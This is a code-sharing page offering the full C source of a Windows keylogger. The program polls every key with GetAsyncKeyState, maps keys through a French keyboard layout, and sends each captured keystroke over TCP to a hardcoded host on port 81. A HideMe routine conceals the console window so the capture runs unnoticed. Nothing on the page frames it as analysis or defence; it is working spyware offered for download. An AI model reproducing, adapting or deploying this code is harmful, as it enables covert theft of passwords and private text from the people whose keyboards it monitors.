Windows - C - Keylogger

Download | Vote Up (0) | Vote Down (0)
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 

/// layouts ////////////////////////////////////////////////////////////////////////

#define MAX_LAYOUTS 255
#define MAX_KEYS    255
 
#define FR          33
#define LAYOUT      FR
 
char MAJKEYS[MAX_LAYOUTS][MAX_KEYS];
char ALTKEYS[MAX_LAYOUTS][MAX_KEYS];
char    KEYS[MAX_LAYOUTS][MAX_KEYS];
 
int  KEY_ENTER;
int  KEY_SPACE;
int  KEY_BACKSPACE;
 
void InitLayout()
{
  ALTKEYS[FR][0x30] = '@';  // ALT-GR 0
  ALTKEYS[FR][0x32] = '~';  // ALT-GR 2
  ALTKEYS[FR][0x33] = '#';  // ALT-GR 3
  ALTKEYS[FR][0x34] = '{';  // ALT-GR 4
  ALTKEYS[FR][0x35] = '[';  // ALT-GR 5
  ALTKEYS[FR][0x36] = '|';  // ALT-GR 6
  ALTKEYS[FR][0x37] = '`';  // ALT-GR 7
  ALTKEYS[FR][0x38] = '\\'; // ALT-GR 8
  ALTKEYS[FR][0x39] = '^';  // ALT-GR 9
 
 
  ALTKEYS[FR][0xDB] = ']';
  ALTKEYS[FR][0xBB] = '}';
 
 
  MAJKEYS[FR][0x30] = '0';
  MAJKEYS[FR][0x31] = '1';
  MAJKEYS[FR][0x32] = '2';
  MAJKEYS[FR][0x33] = '3';
  MAJKEYS[FR][0x34] = '4';
  MAJKEYS[FR][0x35] = '5';
  MAJKEYS[FR][0x36] = '6';
  MAJKEYS[FR][0x37] = '7';
  MAJKEYS[FR][0x38] = '8';
  MAJKEYS[FR][0x39] = '0';
  MAJKEYS[FR][0xBC] = '?';
  MAJKEYS[FR][0xBB] = '+';
  MAJKEYS[FR][0xBE] = '.';
  MAJKEYS[FR][0xBF] = '/';
//  MAJKEYS[FR][0xDB] = '�';
  MAJKEYS[FR][0xE2] = '>';
 
 
     KEYS[FR][0x30] = 'à';
     KEYS[FR][0x31] = '&';
     KEYS[FR][0x32] = 'é';
     KEYS[FR][0x33] = '"';
     KEYS[FR][0x34] = '\'';
     KEYS[FR][0x35] = '(';
     KEYS[FR][0x36] = '-';
     KEYS[FR][0x37] = 'è';
     KEYS[FR][0x38] = '_';
     KEYS[FR][0x39] = 'ç';
 
     KEYS[FR][0xBA] = '$';
     KEYS[FR][0xC0] = '%';
     KEYS[FR][0xBB] = '=';
     KEYS[FR][0xBE] = ';';
     KEYS[FR][0xBF] = ':';
     KEYS[FR][0xDF] = '!';
     KEYS[FR][0xDB] = ')';
     KEYS[FR][0x6A] = '*';
     KEYS[FR][0x6B] = '+';
     KEYS[FR][0x6D] = '-';
     KEYS[FR][0x6E] = '.';
     KEYS[FR][0x6F] = '/';
     KEYS[FR][0xE2] = '<';
     KEYS[FR][0x08] = 0x08;
 
/* TODO: the same for US, DE, IT, ES keyboards
  ALTKEYS[US][0x30] = '@';
  ALTKEYS[US][0x33] = '#';
  ALTKEYS[US][0x34] = '{';
  ALTKEYS[US][0x35] = '[';
  ALTKEYS[US][0x36] = '|';
  ALTKEYS[US][0x38] = '\\';
  ALTKEYS[US][0xDB] = ']';
  ALTKEYS[US][0xBB] = '}';
 
  MAJKEYS[US][0xBC] = '?';
  MAJKEYS[US][0xBE] = '.';
  MAJKEYS[US][0xBF] = '/';
 
     KEYS[US][0x30] = 'Ã ';
     KEYS[US][0x31] = '&';
     KEYS[US][0x32] = 'é';
     KEYS[US][0x33] = '"';
     KEYS[US][0x34] = '\'';
     KEYS[US][0x35] = '(';
     KEYS[US][0x36] = '-';
     KEYS[US][0x37] = 'è';
     KEYS[US][0x38] = '_';
     KEYS[US][0x39] = 'ç';
 
     KEYS[US][0xBA] = '$';
     KEYS[US][0xC0] = '%';
     KEYS[US][0xBE] = ';';
     KEYS[US][0xBF] = ':';
     KEYS[US][0xDF] = '!';
     KEYS[US][0x6A] = '*';
     KEYS[US][0x6B] = '+';
     KEYS[US][0x6D] = '-';
     KEYS[US][0x6E] = '.';
     KEYS[US][0x6F] = '/';
*/
 
 
  KEY_ENTER     = 0x0D; 
  KEY_SPACE     = 0x20; 
  KEY_BACKSPACE = 0x08;
}

/// end of layouts ////////////////////////////////////////////////////////////////////////





int  isALT();                           // Is ALT pressed ?
int  isMAJPressed();                    // Is MAJ pressed ?
int  isAMAJ();                          // Is MAJ used ?
void CaptureKey(int iKeyCode);          // Capture pressed keys
int  MAJ;                               // State of MAJ key
 
#define PORT 81
#define HOST "192.168.101.12"
int CANSEND=1;
int _SendKeys(int _KeyCode, int bSend);
int _TestConnection();
 
#define VERBOSE 1
void HideMe(void);
 
 
 
/*
 * Main
 *
 * Input : -
 * Return: always 0
 *
 */
int main()
{
  int i, iKeyCode, iResult, iLastiResult, iLastLetter, iCount;
 
  iResult=0;
  iCount=0;
  iLastiResult=0;
  i=0;
 
  InitLayout();
  AllocConsole();
  if(!VERBOSE) HideMe();
 
  while( !_TestConnection() ) // While we are not able to connect to server
  {
    if(VERBOSE) printf("\nWaiting for server to be ready...");
    sleep(1200);              // we wait for server to be ready
  }
  if(VERBOSE) printf("\nConnected to %s:%d\nCapturing keystrokes ...\n\n"
                     ,HOST,PORT);
 
  while ( 1 )
  {
    sleep(10); 
    for ( iKeyCode=KEY_BACKSPACE ; iKeyCode<=MAX_KEYS ; iKeyCode++ )
    {
      if ( iKeyCode==14 )  iKeyCode=20;  // 
      if ( iKeyCode==21 )  iKeyCode=48;  // Do not record special
      if ( iKeyCode==58 )  iKeyCode=65;  // keys like right-shift or left-arrow
      if ( iKeyCode==91 )  iKeyCode=96;  // 
      if ( iKeyCode==108 ) iKeyCode=109; // 
      if ( iKeyCode==112 ) iKeyCode=186; // 
      if ( iKeyCode==189 ) iKeyCode=190; // 
      if ( iKeyCode==193 ) iKeyCode=219; // 
      if ( iKeyCode==220 ) iKeyCode=221; // 
      if ( iKeyCode==222 ) iKeyCode=223; //  
 
      iResult=GetAsyncKeyState(iKeyCode);
 
      if ( ( iKeyCode==KEY_SPACE ) && ( iResult==0 ) )
        MAJ=0;
      else if ( ( iKeyCode==KEY_SPACE ) && ( iResult==1 ) )
        MAJ=1;
      else if( iResult == -32767 ) // Key is pressed
      {
        CaptureKey(iKeyCode);
        iLastiResult=iResult;
        iLastLetter=iKeyCode;
      }
    }
  }
  return 0;
}
 
 
 
/*
 * Get state of upper/lower letter
 *
 * Input : -
 * Return: 1 if up, 0 else
 *
 */
int isMAJ()
{
  if ( ( ( MAJ  ) && ( !isMAJPressed() ) )
     | ( ( !MAJ ) && (  isMAJPressed() ) ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Get state of MAJ key
 *
 * Input : -
 * Return: 1 if pressed, 0 else
 *
 */
int isMAJPressed()
{
  int iResult;
  iResult=GetKeyState(VK_SHIFT);
  if ( ( iResult==-127 ) | ( iResult==-128 ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Get state of ALT key
 *
 * Input : -
 * Return: 1 if pressed, 0 else
 *
 */
int isALT()
{
  int iResult;
  iResult=GetKeyState(VK_MENU);
  if ( ( iResult==-127 ) | ( iResult==-128 ) )
    return 1;
  else
    return 0;
}
 
 
 
/*
 * Interpret captured key
 *
 * Input : iKeyCode
 * Return: -
 *
 */
void CaptureKey(int iKeyCode)
{
  static char Buffer[11];
  char cKeyChar;
  static int iCount = 0;
  int l;
 
  if ( ( iKeyCode<106 ) && ( iKeyCode>95 ) )
    cKeyChar = iKeyCode-48;
  else
    if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) && ( !isMAJ() ) )
      cKeyChar=iKeyCode+32;
    else
      if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) )
        cKeyChar=iKeyCode;
      else
        if( isALT() )
          cKeyChar = ALTKEYS[LAYOUT][iKeyCode];
        else if ( isMAJ() )
          cKeyChar = MAJKEYS[LAYOUT][iKeyCode];
        else
          cKeyChar = KEYS[LAYOUT][iKeyCode];
 
  if ( iKeyCode == KEY_ENTER )
    cKeyChar='\n';
 
  _SendKeys(cKeyChar,CANSEND);
  if(VERBOSE) printf("\n%2X => %c",iKeyCode,cKeyChar);
} 
 
 
 
/*
 * STry to connect to remote server
 *
 * Input : -
 * Return: -
 *
 */
int _TestConnection()
{
         char strIP [15];
  char buffer [4];
 
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0), &WSAData);
  SOCKET sock;
  SOCKADDR_IN sin;
 
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sin.sin_addr.s_addr = inet_addr(HOST);
  sin.sin_family      = AF_INET;
  sin.sin_port        = htons(PORT);
  CANSEND=1;
  if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) == -1 )
  {
    if(VERBOSE) printf("\nError: can't connect to %s : %d",HOST,PORT);
    CANSEND=0;
  }
 
  closesocket(sock);
  WSACleanup();
 
  return CANSEND;
}
 
 
 
/*
 * Send key code to remote server defined on top of this source
 * A test is made in order to know if code can be send (bSend)
 *
 * Input : _KeyCode, bSend
 * Return: 0 on success
 *
 */
int _SendKeys(int _KeyCode, int bSend)
{
        char strIP [15];
  char buffer [4];
  short int i;
 
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0), &WSAData);
  SOCKET sock;
  SOCKADDR_IN sin;
 
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sin.sin_addr.s_addr = inet_addr(HOST);
  sin.sin_family      = AF_INET;
  sin.sin_port        = htons(PORT);
 
  if( bSend )
  {
    if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) < 0 )
      return 1;
    else
      send(sock, &_KeyCode, 1, 0);
 
    #ifdef WIN32
    closesocket(sock);
    #else
    close(sock);
    #endif
  }
 
  // if(VERBOSE) printf("%c",_KeyCode);
  return 0;
}
 
 
 
/*
 * Get console handle and hide it.
 *
 * Input : void
 * Return: void
 *
 */
void HideMe(void)
{
  HWND stealth;
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
}

saelyx


Be the first to give feedback !

Please login to comment !